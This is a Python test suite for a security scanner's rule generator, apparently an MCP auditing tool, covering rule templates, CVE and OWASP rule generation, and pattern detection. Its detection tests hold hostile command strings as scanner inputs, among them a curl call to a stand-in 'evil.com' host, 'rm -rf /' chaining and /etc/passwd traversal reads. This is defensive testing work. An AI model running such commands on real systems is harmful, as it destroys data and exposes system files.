"""Tests for mcpaudit Rule Generation Engine (rule_generator.py).

Covers: RuleTemplate, GeneratedRule, catalog, categories, CVE generation,
OWASP generation, pattern detection, CLI formatting, edge cases.

NOTE: This test file contains intentionally vulnerable code STRINGS
that are passed to the SECURITY SCANNER for detection testing. These are
static analysis targets, NOT executed code. References to dangerous
functions (pickle, marshal, etc.) are detection signatures only.
"""

from __future__ import annotations

import ast
import json
from pathlib import Path

import pytest

from mcpaudit.models import Finding, Severity
from mcpaudit.rule_generator import (
    CATEGORIES,
    RULE_CATALOG,
    GeneratedRule,
    RuleTemplate,
    format_catalog_text,
    generate_rules_from_cve,
    generate_rules_from_owasp,
    generate_rules_from_templates,
    get_all_generated_rules,
    get_generated_rules_by_category,
    list_categories,
    list_owasp_categories,
)


# ===================================================================
# Helper
# ===================================================================

def _check_generated(rule: GeneratedRule, source: str) -> list[Finding]:
    """Run a generated rule against source code."""
    tree = ast.parse(source)
    return rule.check(tree, source)


# ===================================================================
# RuleTemplate model
# ===================================================================

class TestRuleTemplate:
    def test_create_template(self):
        t = RuleTemplate(
            id="TEST-001",
            pattern=r"unsafe_func\(",
            severity=Severity.HIGH,
            cwe="CWE-123",
            message="Test rule",
            fix_suggestion="Fix it.",
        )
        assert t.id == "TEST-001"
        assert t.severity == Severity.HIGH
        assert t.cwe == "CWE-123"

    def test_template_to_dict(self):
        t = RuleTemplate(
            id="TEST-001",
            pattern=r"test",
            severity=Severity.MEDIUM,
            cwe="CWE-99",
            message="Test",
            fix_suggestion="Fix",
            category="test",
        )
        d = t.to_dict()
        assert d["id"] == "TEST-001"
        assert d["severity"] == "MEDIUM"
        assert d["category"] == "test"

    def test_template_defaults(self):
        t = RuleTemplate(
            id="X", pattern="x", severity=Severity.LOW,
            cwe="", message="x", fix_suggestion="x",
        )
        assert t.category == "general"
        assert t.ast_node_type == ""
        assert t.description == ""


# ===================================================================
# GeneratedRule
# ===================================================================

class TestGeneratedRule:
    def test_rule_properties(self):
        t = RuleTemplate(
            id="GEN-TEST-001",
            pattern=r"danger\(",
            severity=Severity.CRITICAL,
            cwe="CWE-78",
            message="Dangerous call",
            fix_suggestion="Remove it.",
            category="test",
            description="Detects dangerous calls.",
        )
        rule = GeneratedRule(t)
        assert rule.rule_id == "GEN-TEST-001"
        assert rule.name == "Dangerous call"
        assert rule.severity == Severity.CRITICAL
        assert rule.cwe == "CWE-78"
        assert rule.description == "Detects dangerous calls."
        assert rule.category == "test"
        assert rule.fix_suggestion == "Remove it."

    def test_detailed_description_with_fix(self):
        t = RuleTemplate(
            id="X", pattern="x", severity=Severity.LOW,
            cwe="", message="Test",
            fix_suggestion="Do this.",
            description="Base desc.",
        )
        rule = GeneratedRule(t)
        assert "Remediation:" in rule.detailed_description
        assert "Do this." in rule.detailed_description

    def test_check_finds_pattern(self):
        # Detection pattern for scanner -- not executed
        t = RuleTemplate(
            id="TEST-001",
            pattern=r"unsafe_deser_load\(",
            severity=Severity.CRITICAL,
            cwe="CWE-502",
            message="deser detected",
            fix_suggestion="Use JSON.",
        )
        rule = GeneratedRule(t)
        source = "import mod\ndata = unsafe_deser_load(f)\n"
        findings = _check_generated(rule, source)
        assert len(findings) >= 1
        assert findings[0].rule_id == "TEST-001"
        assert findings[0].severity == Severity.CRITICAL

    def test_check_no_match(self):
        t = RuleTemplate(
            id="TEST-001",
            pattern=r"unsafe_deser_load\(",
            severity=Severity.HIGH,
            cwe="CWE-502",
            message="deser",
            fix_suggestion="fix",
        )
        rule = GeneratedRule(t)
        source = "import json\ndata = json.load(f)\n"
        findings = _check_generated(rule, source)
        assert len(findings) == 0

    def test_check_multiple_matches(self):
        t = RuleTemplate(
            id="TEST-002",
            pattern=r"weak_hash\(",
            severity=Severity.MEDIUM,
            cwe="CWE-328",
            message="weak hash",
            fix_suggestion="Use SHA-256.",
        )
        rule = GeneratedRule(t)
        source = "h1 = weak_hash(data)\nh2 = weak_hash(other)\n"
        findings = _check_generated(rule, source)
        assert len(findings) == 2

    def test_check_line_number_correct(self):
        t = RuleTemplate(
            id="TEST-003",
            pattern=r"verify\s*=\s*False",
            severity=Severity.HIGH,
            cwe="CWE-295",
            message="TLS disabled",
            fix_suggestion="Enable verify.",
        )
        rule = GeneratedRule(t)
        source = "# line 1\n# line 2\nrequests.get(url, verify=False)\n"
        findings = _check_generated(rule, source)
        assert len(findings) == 1
        assert findings[0].line == 3

    def test_check_code_snippet(self):
        t = RuleTemplate(
            id="TEST-004",
            pattern=r"DES\.new\(",
            severity=Severity.HIGH,
            cwe="CWE-327",
            message="DES",
            fix_suggestion="Use AES.",
        )
        rule = GeneratedRule(t)
        source = "from Crypto.Cipher import DES\ncipher = DES.new(key)\n"
        findings = _check_generated(rule, source)
        assert len(findings) >= 1
        assert "DES.new" in findings[0].code_snippet

    def test_check_recommendation(self):
        t = RuleTemplate(
            id="T", pattern=r"test_pattern",
            severity=Severity.LOW, cwe="",
            message="test", fix_suggestion="Suggested fix here.",
        )
        rule = GeneratedRule(t)
        findings = _check_generated(rule, "x = test_pattern()\n")
        assert len(findings) == 1
        assert findings[0].recommendation == "Suggested fix here."


# ===================================================================
# Catalog
# ===================================================================

class TestCatalog:
    def test_catalog_has_30_templates(self):
        assert len(RULE_CATALOG) == 30

    def test_all_templates_have_required_fields(self):
        for t in RULE_CATALOG:
            assert t.id, f"Template missing id"
            assert t.pattern, f"Template {t.id} missing pattern"
            assert t.message, f"Template {t.id} missing message"
            assert t.fix_suggestion, f"Template {t.id} missing fix_suggestion"
            assert isinstance(t.severity, Severity)

    def test_all_templates_have_unique_ids(self):
        ids = [t.id for t in RULE_CATALOG]
        assert len(ids) == len(set(ids)), "Duplicate template IDs found"

    def test_all_templates_have_cwe(self):
        for t in RULE_CATALOG:
            assert t.cwe, f"Template {t.id} missing CWE"
            assert t.cwe.startswith("CWE-"), f"Template {t.id} CWE format wrong"

    def test_all_templates_have_category(self):
        valid = set(CATEGORIES.keys())
        for t in RULE_CATALOG:
            assert t.category in valid, f"Template {t.id} has unknown category {t.category}"


# ===================================================================
# Categories
# ===================================================================

class TestCategories:
    def test_six_categories(self):
        assert len(CATEGORIES) == 6

    def test_list_categories(self):
        cats = list_categories()
        assert "traversal" in cats
        assert "injection" in cats
        assert "deserialization" in cats
        assert "crypto" in cats
        assert "network" in cats
        assert "mcp" in cats

    def test_each_category_has_5_templates(self):
        for cat, templates in CATEGORIES.items():
            assert len(templates) == 5, f"Category {cat} has {len(templates)} templates"

    def test_get_generated_rules_by_category(self):
        rules = get_generated_rules_by_category("crypto")
        assert len(rules) == 5
        for r in rules:
            assert r.category == "crypto"

    def test_get_generated_rules_unknown_category(self):
        rules = get_generated_rules_by_category("nonexistent")
        assert len(rules) == 0

    def test_get_all_generated_rules(self):
        rules = get_all_generated_rules()
        assert len(rules) == 30
        assert all(isinstance(r, GeneratedRule) for r in rules)


# ===================================================================
# Generation from templates
# ===================================================================

class TestGeneration:
    def test_generate_from_templates(self):
        templates = [
            RuleTemplate(
                id="CUSTOM-001", pattern=r"test", severity=Severity.LOW,
                cwe="CWE-1", message="test", fix_suggestion="fix",
            ),
        ]
        rules = generate_rules_from_templates(templates)
        assert len(rules) == 1
        assert rules[0].rule_id == "CUSTOM-001"

    def test_generate_empty_list(self):
        rules = generate_rules_from_templates([])
        assert len(rules) == 0


# ===================================================================
# CVE generation
# ===================================================================

class TestCVEGeneration:
    def test_generate_from_cve(self):
        patterns = [
            {
                "cve_id": "2024-1234",
                "pattern": r"vulnerable_func\(",
                "severity": "CRITICAL",
                "cwe": "CWE-78",
                "message": "CVE-2024-1234 detected",
                "fix": "Update to v2.0",
            },
        ]
        rules = generate_rules_from_cve(patterns)
        assert len(rules) == 1
        assert rules[0].rule_id == "CVE-2024-1234"
        assert rules[0].severity == Severity.CRITICAL

    def test_generate_from_cve_detection(self):
        patterns = [
            {
                "cve_id": "2024-9999",
                "pattern": r"bad_api\(",
                "severity": "HIGH",
                "cwe": "CWE-20",
                "message": "Bad API usage",
                "fix": "Replace with safe_api()",
            },
        ]
        rules = generate_rules_from_cve(patterns)
        findings = _check_generated(rules[0], "result = bad_api(user_input)\n")
        assert len(findings) == 1
        assert findings[0].cwe == "CWE-20"

    def test_generate_from_cve_empty_pattern_skipped(self):
        patterns = [
            {"cve_id": "2024-0000", "pattern": "", "severity": "LOW"},
        ]
        rules = generate_rules_from_cve(patterns)
        assert len(rules) == 0

    def test_generate_from_cve_defaults(self):
        patterns = [{"pattern": r"test"}]
        rules = generate_rules_from_cve(patterns)
        assert len(rules) == 1
        assert rules[0].severity == Severity.HIGH  # default

    def test_generate_from_cve_multiple(self):
        patterns = [
            {"cve_id": "A", "pattern": r"vuln_a", "severity": "HIGH"},
            {"cve_id": "B", "pattern": r"vuln_b", "severity": "MEDIUM"},
        ]
        rules = generate_rules_from_cve(patterns)
        assert len(rules) == 2


# ===================================================================
# OWASP generation
# ===================================================================

class TestOWASPGeneration:
    def test_list_owasp_categories(self):
        cats = list_owasp_categories()
        assert len(cats) == 10
        assert "A01:Tool_Misuse" in cats

    def test_generate_from_owasp_exact(self):
        rules = generate_rules_from_owasp("A01:Tool_Misuse")
        assert len(rules) > 0
        cats = {r.category for r in rules}
        assert "traversal" in cats or "injection" in cats

    def test_generate_from_owasp_shorthand(self):
        rules = generate_rules_from_owasp("A04")
        assert len(rules) > 0
        assert all(r.category == "deserialization" for r in rules)

    def test_generate_from_owasp_case_insensitive(self):
        rules = generate_rules_from_owasp("a06")
        assert len(rules) > 0

    def test_generate_from_owasp_unknown(self):
        with pytest.raises(ValueError, match="Unknown OWASP category"):
            generate_rules_from_owasp("A99:NonExistent")

    def test_owasp_a02_has_mcp_rules(self):
        rules = generate_rules_from_owasp("A02")
        cats = {r.category for r in rules}
        assert "mcp" in cats

    def test_owasp_a03_has_crypto_and_network(self):
        rules = generate_rules_from_owasp("A03")
        cats = {r.category for r in rules}
        assert "crypto" in cats
        assert "network" in cats

    def test_owasp_all_categories_produce_rules(self):
        for cat in list_owasp_categories():
            rules = generate_rules_from_owasp(cat)
            assert len(rules) > 0, f"OWASP category {cat} produced no rules"


# ===================================================================
# Pattern detection (each category)
# ===================================================================

class TestTraversalPatterns:
    def test_deep_traversal(self):
        rules = get_generated_rules_by_category("traversal")
        r = [r for r in rules if r.rule_id == "GEN-PATH-001"][0]
        findings = _check_generated(r, 'path = "../../../etc/passwd"\n')
        assert len(findings) >= 1

    def test_url_encoded_traversal(self):
        rules = get_generated_rules_by_category("traversal")
        r = [r for r in rules if r.rule_id == "GEN-PATH-002"][0]
        findings = _check_generated(r, 'path = "%2e%2e/secret"\n')
        assert len(findings) >= 1

    def test_hex_encoded_traversal(self):
        rules = get_generated_rules_by_category("traversal")
        r = [r for r in rules if r.rule_id == "GEN-PATH-003"][0]
        # Source code as it would appear in a file (literal backslash-x2e)
        source = 'path = "' + "\\x2e\\x2e" + '/secret"\n'
        findings = _check_generated(r, source)
        assert len(findings) >= 1

    def test_system_file_traversal(self):
        rules = get_generated_rules_by_category("traversal")
        r = [r for r in rules if r.rule_id == "GEN-PATH-004"][0]
        findings = _check_generated(r, 'path = "../../etc/passwd"\n')
        assert len(findings) >= 1

    def test_os_path_join_traversal(self):
        rules = get_generated_rules_by_category("traversal")
        r = [r for r in rules if r.rule_id == "GEN-PATH-005"][0]
        findings = _check_generated(r, 'full = os.path.join(base, "..", name)\n')
        assert len(findings) >= 1

    def test_safe_path_no_match(self):
        rules = get_generated_rules_by_category("traversal")
        r = [r for r in rules if r.rule_id == "GEN-PATH-001"][0]
        findings = _check_generated(r, 'path = "/safe/path/file.txt"\n')
        assert len(findings) == 0


class TestInjectionPatterns:
    def test_backtick_substitution(self):
        rules = get_generated_rules_by_category("injection")
        r = [r for r in rules if r.rule_id == "GEN-CMD-001"][0]
        findings = _check_generated(r, 'cmd = "`echo ${HOME}`"\n')
        assert len(findings) >= 1

    def test_command_substitution(self):
        rules = get_generated_rules_by_category("injection")
        r = [r for r in rules if r.rule_id == "GEN-CMD-002"][0]
        findings = _check_generated(r, 'output = "$(curl http://evil.com)"\n')
        assert len(findings) >= 1

    def test_command_chaining(self):
        rules = get_generated_rules_by_category("injection")
        r = [r for r in rules if r.rule_id == "GEN-CMD-003"][0]
        findings = _check_generated(r, 'cmd = "ls; rm -rf /"\n')
        assert len(findings) >= 1

    def test_pipe_chaining(self):
        rules = get_generated_rules_by_category("injection")
        r = [r for r in rules if r.rule_id == "GEN-CMD-003"][0]
        findings = _check_generated(r, 'cmd = "data | cat /etc/passwd"\n')
        assert len(findings) >= 1


class TestDeserializationPatterns:
    def test_yaml_load(self):
        rules = get_generated_rules_by_category("deserialization")
        r = [r for r in rules if r.rule_id == "GEN-DESER-001"][0]
        findings = _check_generated(r, 'data = yaml.load(content)\n')
        assert len(findings) >= 1

    def test_marshal_load(self):
        rules = get_generated_rules_by_category("deserialization")
        r = [r for r in rules if r.rule_id == "GEN-DESER-003"][0]
        findings = _check_generated(r, 'code = marshal.load(f)\n')
        assert len(findings) >= 1

    def test_shelve_open(self):
        rules = get_generated_rules_by_category("deserialization")
        r = [r for r in rules if r.rule_id == "GEN-DESER-004"][0]
        findings = _check_generated(r, 'db = shelve.open("data.db")\n')
        assert len(findings) >= 1

    def test_jsonpickle_decode(self):
        rules = get_generated_rules_by_category("deserialization")
        r = [r for r in rules if r.rule_id == "GEN-DESER-005"][0]
        findings = _check_generated(r, 'obj = jsonpickle.decode(data)\n')
        assert len(findings) >= 1


class TestCryptoPatterns:
    def test_md5_usage(self):
        rules = get_generated_rules_by_category("crypto")
        r = [r for r in rules if r.rule_id == "GEN-CRYPTO-001"][0]
        findings = _check_generated(r, 'h = hashlib.md5(data)\n')
        assert len(findings) >= 1

    def test_sha1_usage(self):
        rules = get_generated_rules_by_category("crypto")
        r = [r for r in rules if r.rule_id == "GEN-CRYPTO-002"][0]
        findings = _check_generated(r, 'h = hashlib.sha1(data)\n')
        assert len(findings) >= 1

    def test_ecb_mode(self):
        rules = get_generated_rules_by_category("crypto")
        r = [r for r in rules if r.rule_id == "GEN-CRYPTO-003"][0]
        findings = _check_generated(r, 'cipher = AES.new(key, AES.MODE_ECB)\n')
        assert len(findings) >= 1

    def test_weak_random(self):
        rules = get_generated_rules_by_category("crypto")
        r = [r for r in rules if r.rule_id == "GEN-CRYPTO-004"][0]
        findings = _check_generated(r, 'token = random.randint(0, 999999)\n')
        assert len(findings) >= 1

    def test_des_encryption(self):
        rules = get_generated_rules_by_category("crypto")
        r = [r for r in rules if r.rule_id == "GEN-CRYPTO-005"][0]
        findings = _check_generated(r, 'cipher = DES.new(key)\n')
        assert len(findings) >= 1

    def test_sha256_not_flagged(self):
        rules = get_generated_rules_by_category("crypto")
        r = [r for r in rules if r.rule_id == "GEN-CRYPTO-001"][0]
        findings = _check_generated(r, 'h = hashlib.sha256(data)\n')
        assert len(findings) == 0


class TestNetworkPatterns:
    def test_ssrf_requests(self):
        rules = get_generated_rules_by_category("network")
        r = [r for r in rules if r.rule_id == "GEN-NET-001"][0]
        findings = _check_generated(r, 'resp = requests.get(url)\n')
        assert len(findings) >= 1

    def test_tls_disabled(self):
        rules = get_generated_rules_by_category("network")
        r = [r for r in rules if r.rule_id == "GEN-NET-005"][0]
        findings = _check_generated(r, 'r = requests.get(url, verify=False)\n')
        assert len(findings) >= 1

    def test_open_redirect(self):
        rules = get_generated_rules_by_category("network")
        r = [r for r in rules if r.rule_id == "GEN-NET-004"][0]
        findings = _check_generated(r, 'return redirect(request.args["next"])\n')
        assert len(findings) >= 1

    def test_dns_rebinding(self):
        rules = get_generated_rules_by_category("network")
        r = [r for r in rules if r.rule_id == "GEN-NET-003"][0]
        findings = _check_generated(r, 'addr = socket.gethostbyname(host)\n')
        assert len(findings) >= 1


# ===================================================================
# Integration with scanner
# ===================================================================

class TestScannerIntegration:
    def test_generated_rules_work_as_plugin_rules(self):
        """Generated rules can be passed as plugin_rules to scanner."""
        from mcpaudit.scanner import MCPSecurityScanner
        import tempfile

        gen_rules = get_generated_rules_by_category("crypto")
        scanner = MCPSecurityScanner(rules=[], plugin_rules=gen_rules)
        assert len(scanner.rules) == len(gen_rules)

        with tempfile.NamedTemporaryFile(
            suffix=".py", mode="w", delete=False, encoding="utf-8"
        ) as f:
            f.write('import hashlib\nh = hashlib.md5(data)\n')
            f.flush()
            result = scanner.scan_file(Path(f.name))

        assert len(result.findings) >= 1

    def test_total_rules_72_plus(self):
        """Verify total rule count reaches 72+ (42 existing + 30 generated)."""
        from mcpaudit.rules import get_all_rules
        from mcpaudit.ts_rules import get_all_ts_rules
        py_count = len(get_all_rules())
        ts_count = len(get_all_ts_rules())
        generated_count = len(get_all_generated_rules())
        total = py_count + ts_count + generated_count
        assert total >= 72, f"Total rules: {total} (py={py_count}, ts={ts_count}, gen={generated_count})"


# ===================================================================
# CLI formatting
# ===================================================================

class TestCLIFormatting:
    def test_format_catalog_all(self):
        text = format_catalog_text()
        assert "Rule Template Catalog" in text
        assert "30 templates available" in text
        assert "GEN-PATH-001" in text

    def test_format_catalog_category(self):
        text = format_catalog_text("crypto")
        assert "Category: crypto" in text
        assert "GEN-CRYPTO-001" in text
        assert "5 templates available" in text

    def test_format_catalog_unknown_category(self):
        text = format_catalog_text("nonexistent")
        assert "Unknown category" in text

    def test_format_catalog_all_categories_listed(self):
        text = format_catalog_text()
        assert "Categories:" in text
        for cat in list_categories():
            assert cat in text
